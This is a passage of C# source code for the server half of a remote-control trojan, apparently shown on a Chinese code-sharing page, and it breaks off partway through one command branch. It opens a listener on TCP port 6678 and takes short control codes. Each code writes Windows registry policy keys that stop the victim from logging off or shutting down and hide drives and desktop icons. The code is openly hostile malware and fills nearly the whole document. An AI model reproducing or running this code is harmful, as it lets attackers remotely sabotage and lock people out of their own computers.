📄 form1.cs
字号:
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using Microsoft.Win32;
namespace server
{
//Form1的说明.Form1为后台控制程序.
public class Form1 : System.Windows.Forms.Form
{
//必需的设计器变量。
private System.ComponentModel.Container components = null;
private TcpListener listener;
private string messagestring="Hello,your regedit has been:";
private RegistryKey reg=Registry.LocalMachine;
private RegistryKey key1;
public Form1()
{
InitializeComponent();
{
int port =6678;
listener=new TcpListener(port);
listener.Start();
Thread thread=new Thread(new ThreadStart(target));
thread.Start();
}
}
//接受控制信息.
public void target()
{
Socket socket= listener.AcceptSocket();
while(socket.Connected)
{
byte[] by=new Byte[6];
int i=socket.Receive(by,by.Length,0);
string ss=System.Text.Encoding.ASCII.GetString(by);
//修改注册表的操作,首先接收连接测试指令,反馈信息码提示连接成功.
if(ss=="Tesing")
{
string str="con";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//接收到不同的修改注册表指令所进行的操作.
//控制码为as1000,控制服务器无法注销机器.
if(ss=="as1000")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",1);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff被修改!请将它置为0!";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff被修改!请将它置为0!";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as0100,控制服务器无法关机.
if(ss=="as0100")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoClose",1);
key1.Close();
messagestring=messagestring+"LocalMachine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose被修改!请将它置为0!";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoClose",1);
key2.Close();
messagestring=messagestring+"LocalMachine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose被修改!请将它置为0!";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as0010,隐藏服务器硬盘盘符.
if(ss=="as0010")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoDrives",12);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives被修改!请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoDrives",12);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives被修改!请将它置为0";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as0001,隐藏服务器桌面图标.
if(ss=="as0001")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoDesktop",1);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDesktop被修改!请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoDesktop",1);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDesktop被修改!请将它置为0";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as1100,控制服务器无法关机及注销.
if(ss=="as1100")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",1);
key1.SetValue("NoClose",1);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose被修改!请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.SetValue("NoClose",1);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose被修改!请将它置为0";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as1010,控制服务器无法注销且隐藏硬盘盘符.
if(ss=="as1010")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",1);
key1.SetValue("NoDrives",12);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDrives被修改!请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.SetValue("NoDrives",12);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDrives被修改!请将它置为0";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as1001,控制服务器无法注销且隐藏桌面图标.
if(ss=="as1001")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer",true);
key1.SetValue("NoLogOff",1);
key1.SetValue("NoDesktop",1);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDesktop被修改!请将它置为0";
}
catch(Exception ee)
{
MessageBox.Show(ee.Message);
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.SetValue("NoDesktop",1);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDesktop被修改!请将它置为0";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as0110,控制服务器无法关机且隐藏硬盘盘符.
if(ss=="as0110")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoClose",1);
key1.SetValue("NoDrives",12);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives被修改!请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoClose",1);
key2.SetValue("NoDrives",12);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives被修改!请将它置为0";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as0101,控制服务器无法关机且隐藏桌面图标.
if(ss=="as0101")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoClose",1);
key1.SetValue("NoDesktop",1);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDesktop被修改!请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoClose",1);
key2.SetValue("NoDesktop",1);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、、NoDesktop被修改!请将它置为0";
}
catch{}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as0011,隐藏服务器硬盘盘符和桌面图标.
if(ss=="as0011")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoDrives",12);
key1.SetValue("NoDesktop",1);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives、NoDesktop被修改!请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoDrives",12);
key2.SetValue("NoDesktop",1);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives、NoDesktop被修改!请将它置为0";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码as1110,控制服务器无法注销关节且隐藏硬盘盘符.
if(ss=="as1110")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",1);
key1.SetValue("NoClose",1);
key1.SetValue("NoDrives",12);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.SetValue("NoClose",1);
key2.SetValue("NoDrives",12);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as1101,控制服务器无法注销关机且隐藏桌面图标.
if(ss=="as1101")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",1);
key1.SetValue("NoClose",1);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -